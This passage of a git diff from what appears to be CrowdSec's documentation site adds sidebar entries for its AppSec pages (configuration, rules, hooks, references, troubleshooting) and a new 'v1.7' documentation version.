+ { + "type": "category", + "label": "Configuration", + "items": [ + { + "type": "doc", + "id": "appsec/configuration" + }, + { + "type": "doc", + "id": "appsec/vpatch_and_crs" + }, + { + "type": "doc", + "id": "appsec/alerts_and_scenarios" + } + ] + }, + { + "type": "category", + "label": "Rules", + "items": [ + { + "type": "doc", + "id": "appsec/rules_syntax" + }, + { + "type": "doc", + "id": "appsec/hooks" + }, + { + "type": "doc", + "id": "appsec/create_rules" + } + ] + }, + { + "type": "category", + "label": "References", + "items": [ + { + "type": "doc", + "id": "appsec/protocol" + }, + { + "type": "doc", + "id": "appsec/benchmark" + } + ] + }, + { + "type": "doc", + "id": "appsec/troubleshooting" + } + ] +} diff --git a/crowdsec-docs/versions.json b/crowdsec-docs/versions.json index c54d140d4..6445986ec 100644 --- a/crowdsec-docs/versions.json +++ b/crowdsec-docs/versions.json @@ -1,4 +1,5 @@ [ + "v1.7", "v1.6", "v1.5.0", "v1.4.0",